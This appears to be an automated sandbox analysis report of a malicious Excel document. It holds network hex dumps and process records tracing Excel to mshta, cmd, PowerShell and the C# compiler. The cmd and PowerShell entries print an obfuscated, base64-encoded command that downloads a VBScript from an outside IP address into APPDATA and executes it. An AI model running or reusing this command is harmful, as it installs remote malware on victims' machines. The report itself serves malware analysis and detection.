44 6b 77 59 46 4d 41 42 54 4b 77 49 43 41 41 41 Data Ascii: AAAwPh/TI+AtPG6zO+ITPG3Tv9AUP3wDt8o2OztzA64cOenzy5MUONgTO18EN1TDhz05M8NDByMuMNLDly4SM/HT1xwGMUCzRAAAAQBQBAAwPN/zu/IjPs3z46YiOeojF64gOHgjQ4YwN0fj43A9N+eTC0AyMhPzzz07MrOTmzc4M1NzYzE1M/MTLzsxMJITxyErMhJjWy8hMJEz1xscMcGzjxEVMwEjJxMBMpDD4wkNMXCDkwYFMABTKwICAAA
2024-12-12 20:56:58 UTC	1369	IN	Data Raw: 7a 30 31 4d 2b 4d 44 48 79 34 71 4d 4d 4b 44 66 79 63 6d 4d 64 46 44 76 78 63 61 4d 65 47 54 6b 78 59 59 4d 77 45 44 4b 78 4d 41 4d 37 44 54 7a 77 59 4d 4d 31 43 7a 71 77 45 4b 4d 61 43 7a 69 77 55 49 4d 2b 42 7a 63 41 41 41 41 30 42 41 42 41 43 67 50 33 37 44 37 2b 77 6f 50 30 34 6a 4c 2b 67 69 50 56 34 7a 42 39 38 66 50 6f 33 6a 33 39 4d 64 50 4e 33 44 79 39 4d 61 50 61 32 6a 64 39 34 57 50 76 30 7a 4a 38 59 4f 50 62 7a 44 69 38 49 49 50 62 77 7a 45 38 55 77 4f 39 76 44 39 37 73 2b 4f 6a 76 7a 32 37 4d 39 4f 49 76 6a 74 37 34 36 4f 69 75 6a 6d 37 45 35 4f 49 75 44 67 37 67 33 4f 77 74 44 61 37 73 31 4f 50 74 7a 52 37 6b 67 4f 64 72 54 73 36 6f 6f 4f 45 71 6a 66 36 67 6e 4f 77 70 44 62 36 45 6d 4f 53 70 6a 52 36 55 6a 4f 70 6f 7a 46 35 4d 66 4f 6b 6e 6a Data Ascii: z01M+MDHy4qMMKDfycmMdFDvxcaMeGTkxYYMwEDKxMAM7DTzwYMM1CzqwEKMaCziwUIM+BzcAAAA0BABACgP37D7+woP04jL+giPV4zB98fPo3j39MdPN3Dy9MaPa2jd94WPv0zJ8YOPbzDi8IIPbwzE8UwO9vD97s+Ojvz27M9OIvjt746Oiujm7E5OIuDg7g3OwtDa7s1OPtzR7kgOdrTs6ooOEqjf6gnOwpDb6EmOSpjR6UjOpozF5MfOknj
2024-12-12 20:56:58 UTC	1369	IN	Data Raw: 38 78 4d 34 50 6a 34 79 34 71 4d 39 4a 6a 63 79 63 6c 4d 7a 49 7a 46 79 55 41 4d 66 44 54 77 77 4d 4b 4d 65 42 41 41 41 41 4c 41 45 41 43 41 41 41 77 50 30 39 7a 5a 2f 63 31 50 4b 35 6a 6b 2b 49 6c 50 41 35 7a 4d 2b 67 69 50 45 30 44 31 39 63 63 50 74 32 6a 51 39 49 77 4f 66 74 6a 53 35 30 45 4f 73 6a 6a 59 34 67 42 4f 44 63 54 71 33 59 6c 4e 4a 56 7a 61 31 67 55 4e 59 51 7a 42 41 41 41 41 45 42 41 42 51 41 41 41 41 67 7a 38 31 55 61 4e 49 57 6a 4e 30 41 39 4d 34 4b 7a 2b 79 49 73 4d 63 4b 44 59 78 4d 49 4d 52 43 44 59 41 41 41 41 6b 41 41 42 41 41 77 50 43 2f 54 66 2f 6f 6b 50 34 37 7a 79 2b 34 5a 50 73 33 7a 4e 39 63 77 4f 32 75 7a 62 37 51 78 4f 47 67 6a 7a 34 49 67 4e 74 4e 54 32 7a 6b 30 4d 6a 4d 6a 42 79 51 52 4d 75 41 41 41 41 51 44 41 44 41 50 41 Data Ascii: 8xM4Pj4y4qM9JjcyclMzIzFyUAMfDTwwMKMeBAAAALAEACAAAwP09zZ/c1PK5jk+IlPA5zM+giPE0D19ccPt2jQ9IwOftjS50EOsjjY4gBODcTq3YlNJVza1gUNYQzBAAAAEBABQAAAAgz81UaNIWjN0A9M4Kz+yIsMcKDYxMIMRCDYAAAAkAABAAwPC/Tf/okP47zy+4ZPs3zN9cwO2uzb7QxOGgjz4IgNtNT2zk0MjMjByQRMuAAAAQDADAPA
2024-12-12 20:56:58 UTC	1369	IN	Data Raw: 4d 4d 4a 44 7a 77 77 30 4c 4d 34 43 6a 73 77 77 4b 4d 6d 43 54 6f 77 73 4a 4d 56 43 7a 6a 77 6f 49 4d 45 43 6a 66 77 67 48 4d 7a 42 54 62 77 63 47 4d 68 42 44 58 77 59 46 4d 51 42 6a 53 77 55 45 4d 2f 41 54 4f 77 4d 44 4d 75 41 44 4b 77 49 43 4d 63 41 7a 46 77 45 42 4d 4c 41 54 42 77 41 41 41 41 41 41 33 41 4d 41 55 41 38 6a 2b 2f 51 2f 50 75 2f 54 36 2f 4d 2b 50 64 2f 7a 31 2f 49 39 50 4d 2f 6a 78 2f 41 38 50 37 2b 54 74 2f 38 36 50 70 2b 44 70 2f 34 35 50 59 2b 6a 6b 2f 30 34 50 48 2b 54 67 2f 73 33 50 32 39 44 63 2f 6f 32 50 6b 39 7a 58 2f 6b 31 50 54 39 54 54 2f 67 30 50 43 39 44 50 2f 59 7a 50 78 38 7a 4b 2f 55 79 50 66 38 6a 47 2f 51 78 50 4f 38 44 43 2f 4d 67 50 39 37 7a 39 2b 45 76 50 73 37 6a 35 2b 41 75 50 61 37 54 31 2b 38 73 50 4a 37 7a 77 2b Data Ascii: MMJDzww0LM4CjswwKMmCTowsJMVCzjwoIMECjfwgHMzBTbwcGMhBDXwYFMQBjSwUEM/ATOwMDMuADKwICMcAzFwEBMLATBwAAAAAA3AMAUA8j+/Q/Pu/T6/M+Pd/z1/I9PM/jx/A8P7+Tt/86Pp+Dp/45PY+jk/04PH+Tg/s3P29Dc/o2Pk9zX/k1PT9TT/g0PC9DP/YzPx8zK/UyPf8jG/QxPO8DC/MgP97z9+EvPs7j5+AuPa7T1+8sPJ7zw+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49174	151.101.129.137	443	3344	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 20:56:58 UTC	127	OUT	GET /dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg HTTP/1.1 Host: res.cloudinary.com Connection: Keep-Alive
2024-12-12 20:56:59 UTC	750	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2230233 Content-Type: image/jpeg Etag: "7b9a6708dc7c92995f443d0b41dbc8d0" Last-Modified: Mon, 02 Dec 2024 10:22:29 GMT Date: Thu, 12 Dec 2024 20:56:58 GMT Strict-Transport-Security: max-age=604800 Cache-Control: public, no-transform, immutable, max-age=2592000 Server-Timing: cld-fastly;dur=3;cpu=2;start=2024-12-12T20:56:58.994Z;desc=hit,rtt;dur=170,content-info;desc="width=1920,height=1080,bytes=2230233,o=1,ef=(17)" Server: Cloudinary Timing-Allow-Origin: * Access-Control-Allow-Origin: * Accept-Ranges: bytes X-Content-Type-Options: nosniff Access-Control-Expose-Headers: Content-Length,ETag,Server-Timing,X-Content-Type-Options x-request-id: 6f487a4c60d72621f2efeecff85ca20a
2024-12-12 20:56:59 UTC	1378	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
2024-12-12 20:56:59 UTC	1378	IN	Data Raw: 77 24 91 80 f7 ed aa 38 13 c5 74 2e 92 f9 a4 19 c0 50 c1 95 13 cc f4 aa d7 4f e2 f4 f6 cf 9a 34 12 6a 34 d1 ac 34 c0 35 95 3d b3 e9 ff 00 b5 df 0d 9e 5f 16 d1 c2 37 3c 8c ae 62 55 46 b2 4b 70 2d 85 9e 48 cf 03 04 29 1a 02 c8 cb 27 e1 22 e8 8f 87 f3 c0 63 45 08 87 48 b1 94 0b b9 a8 91 99 9a b8 22 87 5d 10 0c cd 1b b7 a8 92 00 02 e8 d6 6a e9 8a 5b 07 65 52 c0 a8 46 37 fa 62 5a 9d 3c 47 59 18 29 b4 1d c3 d2 47 3f 4c 09 9f 4f a7 74 d3 90 78 2c c0 37 bf 3c 73 8a 10 92 a8 46 da b2 2c 8a a8 77 71 9b 83 4e 8f 0a 82 ab ed c1 ac ce 7f 04 8d 35 22 50 e5 08 6b aa b1 81 68 b5 2c ec eb e5 80 55 14 32 31 a5 53 75 63 e7 97 d6 cd 1e a2 6d 36 91 ee de 4f 55 76 14 79 07 0b 2b 22 ef 72 88 c0 2f a9 8a 8e 6b 31 f4 8c da ed 7c d2 10 5c 85 3b 2c d5 0a 23 a6 06 b8 8b 6f 90 b0 bc Data Ascii: w$8t.PO4j445=_7<bUFKp-H)'"cEH"]j[eRF7bZ<GY)G?LOtx,7<sF,wqN5"Pkh,U21Sucm6OUvy+"r/k1\|\;,#o
2024-12-12 20:56:59 UTC	1378	IN	Data Raw: 8c cd 80 06 22 88 00 fb 74 c5 c6 89 f4 fe 2d 26 ab ef 2f e5 b0 1e 8a 15 d3 03 7b ef a3 82 6d 4f 7c 20 f1 02 0b 6d 76 25 85 73 99 62 5f 34 d8 1c 7b e1 83 10 a3 8a b3 d7 01 8d 66 a0 49 0c 6a 5b 68 dc c7 75 e1 74 7a 92 cc 1f 71 de be 96 e6 f7 0f 7c c8 f1 3d 3b 6a 61 8e 38 e5 68 88 53 ea 51 cd e4 69 8b 69 b6 02 ec e5 68 59 ea 78 eb 81 ea 25 9c b2 90 2b 69 19 91 39 68 a6 8e 4d 96 a1 83 30 63 c6 30 9a 85 d8 ac 59 55 5b 81 67 92 71 2f 14 95 e6 85 a2 86 89 65 2a 6b b5 e0 6a 45 e2 ed 26 a4 45 1f aa 31 d4 a9 e0 1f 6c cd 97 c4 4b c9 2b 9e 77 31 20 fd 71 4d 32 2f 84 e8 00 6d cc e7 80 7b 9f 8e 27 14 ca fc 0f c3 cf 24 60 3a 67 91 e4 34 0b 1a be b9 07 54 77 8b e0 11 ef df 04 93 a2 2b 51 f5 1e 2b e1 99 7a 9d 2e ac 78 92 ce 35 2d f7 72 2b cb a1 5f 3c 0d 4d 46 b0 24 43 7b Data Ascii: "t-&/{mO\| mv%sb_4{fIj[hutzq\|=;ja8hSQiihYx%+i9hM0c0YU[gq/e*kjE&E1lK+w1 qM2/m{'$`:g4Tw+Q+z.x5-r+_<MF$C{
2024-12-12 20:56:59 UTC	1378	IN	Data Raw: 66 6d 4b f8 66 a7 61 05 96 26 b5 23 f1 70 73 f3 be ae 35 fb ac f2 15 01 99 ef 9e a3 9e d9 f5 ef 18 fb 5d a0 0b 26 92 09 a3 77 64 65 26 fe 07 fe bf ae 7c 9f 57 2c 6f e1 f2 21 70 ae ac 0d 7b e0 62 6c 20 6e 07 80 31 dd 33 bb 44 39 b3 7c 83 8a 79 8d b8 86 e0 1e 31 9d 15 14 65 07 a6 03 88 18 2d 95 5e 72 e2 32 ca 6d 45 1c ac a8 16 35 3b e8 8c a9 d4 24 41 44 8e 59 8f 4e 0e 01 3c b5 58 f6 8b 5a 3c 57 4c 80 be e2 fe 63 38 92 e0 90 f4 3a d6 5c be c4 0e ce 02 81 f9 e0 42 26 e0 56 94 1f 6c 23 82 aa 2d 54 0d c4 8f 8e 29 06 b5 25 76 51 e8 3d af be 32 1d 5c 6d 2c 09 1d f0 0f 13 72 3a 7d 71 b5 72 07 52 7e 03 33 d0 d6 da 3c f7 c6 44 6b d2 46 56 37 55 7d 0e 01 0c 8f 24 8a 63 ba f6 03 bf b6 3a 74 d3 3c 51 3c 60 33 49 b7 d3 e9 0c 2f a1 da 1b 77 36 39 34 39 1e f9 5d 14 f0 e9 Data Ascii: fmKfa&#ps5]&wde&\|W,o!p{bl n13D9\|y1e-^r2mE5;$ADYN<XZ<WLc8:\B&Vl#-T)%vQ=2\m,r:}qrR~3<DkFV7U}$c:t<Q<`3I/w6949]
2024-12-12 20:56:59 UTC	1378	IN	Data Raw: 02 f2 41 e0 62 ed a9 02 44 70 8a c0 0b 66 63 c8 f9 65 03 79 a4 21 b2 3a 71 db 03 2e c8 9c 24 7b 9a fa fc 06 07 ba 3a c5 79 3c b6 3b 59 7b 91 f8 be 58 b6 b4 02 37 6d e7 bf c7 25 cd 2d 06 2c 3f 17 06 b1 43 36 d6 28 cc d4 dc 82 47 4f ae 00 1d 03 03 e9 c0 ec 01 b6 ed e9 8e 05 3b 6a ab db e3 95 f2 8b 03 5c 0e f8 0b 30 55 21 42 96 63 d1 47 7c 22 e8 dc 95 79 9d ae ec 20 6e 07 cf 0e a8 ab ca a5 03 d0 e5 e2 47 67 a2 2e b0 07 20 26 43 e9 ed c7 1f d7 2a 51 c2 9b 5e b8 47 23 71 04 51 ca 16 24 71 80 22 18 70 16 b2 e8 8c 48 39 60 bc d0 be 7a d6 6a 78 57 86 2e b9 a5 56 b5 0a bf 89 7a 86 c0 48 0f 49 17 47 2b b5 98 10 1b 93 c0 cf 56 3c 0f 47 c3 04 90 81 41 bd 46 c9 ae bc 63 71 e8 74 b1 a8 03 4d 18 ae fb 45 fe 67 03 c2 18 66 d3 b5 14 60 4f 3e ae f9 74 0c ec 41 5c f7 6f a7 Data Ascii: AbDpfcey!:q.${:y<;Y{X7m%-,?C6(GO;j\0U!BcG\|"y nGg. &C*Q^G#qQ$q"pH9`zjxW.VzHIG+V<GAFcqtMEgf`O>tA\o
2024-12-12 20:56:59 UTC	1378	IN	Data Raw: f1 15 94 48 14 8d b6 ca df a7 03 e9 f1 cc df b0 9a 89 a3 d3 7d a7 48 0c aa 4f 84 33 7a 05 9a 12 c4 39 ae db 49 07 e1 78 6f b5 a3 56 df b4 cd 42 6a db 6c ad a8 85 db 71 e8 19 51 81 f8 0a 38 1e fb ed 9c ba 65 d2 cd f6 82 49 4c da 88 d8 68 f4 fb a3 2c b1 f9 91 ee 2f 67 f1 10 a1 80 1d 8b 03 db 3e 6f a5 7d 2b 49 12 ef 8d 83 7e 0e 3a 8a 24 9e 9c 1f 7f 9e 7b 5f da 44 2f a0 f0 ff 00 0d 48 24 46 1a ad 05 36 c4 5a 71 4a 40 aa e7 9a e7 3e 65 f7 7d 42 08 d6 35 7a f2 dd 94 dd 6d 62 bd 30 35 27 d2 46 65 8a 40 54 aa 93 60 8b fd 30 5e 46 98 ea 15 46 9d 41 55 2d c8 a1 f9 74 c4 92 09 9f 4c c3 d4 a4 44 a1 94 25 7a 87 23 a9 e4 f1 97 58 35 0d 34 6e c8 f4 ec 25 2c 79 da 45 d0 fc ab 03 61 20 d3 6d dd b1 16 bd 94 56 56 5d 3e 92 65 37 1a 5d 75 0b 99 9a 6d 43 a4 c1 0e 9a c9 dc 4b Data Ascii: H}HO3z9IxoVBjlqQ8eILh,/g>o}+I~:${_D/H$F6ZqJ@>e}B5zmb05'Fe@T`0^FFAU-tLD%z#X54n%,yEa mVV]>e7]umCK
2024-12-12 20:56:59 UTC	1378	IN	Data Raw: 0f 38 48 fe dc e9 54 9b 82 4d fd 58 12 28 e7 cf e7 79 21 87 cc 2e ca e0 72 a8 2f 13 89 e4 d5 5b c6 ee 48 fc 4a c2 b0 3d e6 a7 ed f6 98 ea 3f 79 a6 90 83 de c0 c9 3f 6c 74 82 88 d3 b8 53 ec dc e7 cf a5 47 2d be 6b bb a0 06 3f 04 cd 0a 82 f0 2c 8a dc 0d d8 1e b9 be da e9 18 d7 95 29 3d bd 57 94 7f b7 3a 54 50 7e eb 2b 3d 55 93 9e 6a 2d 56 9b 54 ac 53 49 12 95 34 48 26 ef 17 95 d7 cc 56 11 2f c4 73 c6 07 a8 9b ed f6 8a 14 2c 74 ce 1a ba 6e ac cb f0 9f b5 be 11 e1 d3 4b 20 4d 43 bc c7 73 6e 6b 0a 7d 80 ac cd 30 69 b5 3e 96 d2 a3 12 3f 10 ea 33 16 5f 04 d4 0d 63 46 8b 69 d4 37 41 81 bf e3 9f 6c e5 d4 f8 a4 53 78 74 af 0c 51 0d db 4d 90 cd ec 46 7a 78 be de e8 bc a5 59 f4 ec d2 6c 05 88 60 05 9f 60 73 c1 41 e0 b1 23 7e f8 b3 f1 cf 6a 39 a9 f7 7d 24 6a 0b a0 07 Data Ascii: 8HTMX(y!.r/[HJ=?y?ltSG-k?,)=W:TP~+=Uj-VTSI4H&V/s,tnK MCsnk}0i>?3_cFi7AlSxtQMFzxYl``sA#~j9}$j
2024-12-12 20:56:59 UTC	1378	IN	Data Raw: 93 c3 b9 dc ee 49 76 31 34 6a b8 dc 05 11 d7 8b bc 70 f8 b6 92 49 de 46 2e 1e 55 62 e4 a2 90 58 83 c9 1d f8 24 59 b3 de f3 0e 69 7c cd a2 ec 2a 95 51 55 42 c9 fa f5 38 17 95 15 a4 31 a2 aa b2 83 6b 1d 91 c5 d9 b2 7d b2 da 77 31 22 d4 65 b7 b1 50 7d c8 af ee 30 63 51 21 05 4b 02 0d d9 2a 09 e7 ad 1a b1 91 1c 92 aa 00 ad 41 4e e0 3d 8f 1f db 01 89 35 3b c0 20 15 db de f0 6f a9 56 75 76 dc 48 ed bb 8c 08 5b 4a 17 7d f9 ca 88 49 e2 f9 18 1a 03 c4 23 6b 26 3e a2 b2 24 d6 c3 22 14 64 b1 ef ed 88 84 29 76 39 ca bd 12 08 bf cb 00 a4 c2 14 98 d5 83 0e 84 9c 9d 36 a5 e0 63 42 c9 e7 9c 18 e0 82 47 07 2c 14 16 14 d5 f0 ac 0d 24 f1 5d a4 03 18 2f ee 33 6b 47 ad d3 3e 98 4d 26 91 19 99 d9 77 32 b9 ae 9e a2 43 00 33 ca 86 52 de ae 08 03 9c 29 21 94 85 5e 2a b8 e3 eb d7 Data Ascii: Iv14jpIF.UbX$Yi\|QUB81k}w1"eP}0cQ!KAN=5; oVuvH[J}I#k&>$"d)v96cBG,$]/3kG>M&w2C3R)!^*
2024-12-12 20:56:59 UTC	1378	IN	Data Raw: 55 78 17 d8 df cf 2b 2c 4e 80 47 2a b5 05 dd 83 d3 29 55 65 55 65 1b 88 c0 d0 66 49 22 dc ae c1 81 be 17 8e 98 b8 77 8c 15 90 2d 6e ea 32 88 5e 32 40 1b ab 2a 25 32 69 64 0c c3 75 1f cc 74 c0 b4 00 44 43 48 3d 24 9e be d9 57 87 73 82 09 b3 d6 b1 53 aa 77 34 e4 5d 03 47 e5 93 f7 c4 14 49 da 40 2a 7e 3f 96 07 ad 79 e3 61 bd 4e d0 7b e4 95 8a 45 b0 c5 8f c3 02 ba 33 cb 53 00 3b 9c 80 42 b1 3b b9 f9 60 18 ce aa 42 b2 86 1d 2c 76 f9 e3 0e ab 40 03 c5 70 31 00 f6 a4 48 6a fa 1d b8 cc 2f e7 00 a5 a9 94 58 f8 8c 0e 24 5d 61 13 77 6b 03 e1 92 17 af 1f 8b 8b c9 29 b5 49 1f 2c 00 18 b9 2d 6c 4f c7 28 47 15 75 86 08 42 f2 6b 2a c9 e9 3e bc 08 42 03 02 af 44 f7 ba cd 6f 04 d6 47 a2 d4 4a f3 be d5 70 2b 82 6d be 99 8e 14 03 f8 ac e1 01 2b d3 ad 7b d6 07 a4 f1 bd 8b 0a Data Ascii: Ux+,NG)UeUefI"w-n2^2@%2idutDCH=$WsSw4]GI@~?yaN{E3S;B;`B,v@p1Hj/X$]awk)I,-lO(GuBk>BDoGJp+m+{
2024-12-12 20:56:59 UTC	1378	IN	Data Raw: 20 86 62 6f b7 53 95 e9 c1 c0 bc 8f be be 19 5d c4 8a ed 90 7e 1d 32 39 c0 90 48 37 9c 4d 9c e1 d7 9e 99 6a 5f 2e ef d5 7d 3e 18 10 8a 5d c2 8e a7 8c 69 34 c5 24 56 24 30 0d 46 b1 55 b1 ea 1d 46 31 16 a9 92 68 d9 85 aa 90 6b 01 c1 a3 1f 78 16 c0 03 ea 1c d1 c0 ea a1 47 d4 b2 c6 e2 c0 b3 63 fa e0 66 d4 34 f3 16 51 42 c9 03 28 ac 03 31 65 dc 4f 7f 6c 06 e7 83 7e 99 69 cb 32 f7 6e ff 00 2c 5a 39 4a c0 e9 cd 9e 38 cd 24 4f 37 40 10 47 6c 3a 1f ae 27 36 92 58 80 97 69 00 1b 35 81 30 05 58 83 ca 01 00 f7 cf b2 7e cf b4 a9 3f ec fb 47 a6 9e 36 97 4f a8 fb 42 11 94 77 56 88 29 e7 b7 cf b6 7c 6a 58 19 c8 f2 eb 6d 73 66 8f 39 fa 1b f6 20 88 bf 60 e7 77 65 21 f5 ce 36 b3 71 7b 50 00 47 c4 d0 fa e0 7c f3 ec 86 96 0d 24 df 69 61 de cc 9f 72 5f 4c 4e 18 b2 99 62 23 d4 Data Ascii: boS]~29H7Mj_.}>]i4$V$0FUF1hkxGcf4QB(1eOl~i2n,Z9J8$O7@Gl:'6Xi50X~?G6OBwV)\|jXmsf9 `we!6q{PG\|$iar_LNb#

Target ID:	0
Start time:	15:55:55
Start date:	12/12/2024
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13fc70000
File size:	28'253'536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:56:19
Start date:	12/12/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\mshta.exe -Embedding
Imagebase:	0x13f820000
File size:	13'824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:56:24
Start date:	12/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" "/C PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"
Imagebase:	0x4a420000
File size:	345'088 bytes
MD5 hash:	5746BD7E255DD6A8AFA06F7C42C1BA41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:56:25
Start date:	12/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"
Imagebase:	0x13f900000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:56:29
Start date:	12/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\40h2inb3\40h2inb3.cmdline"
Imagebase:	0x13faf0000
File size:	2'758'280 bytes
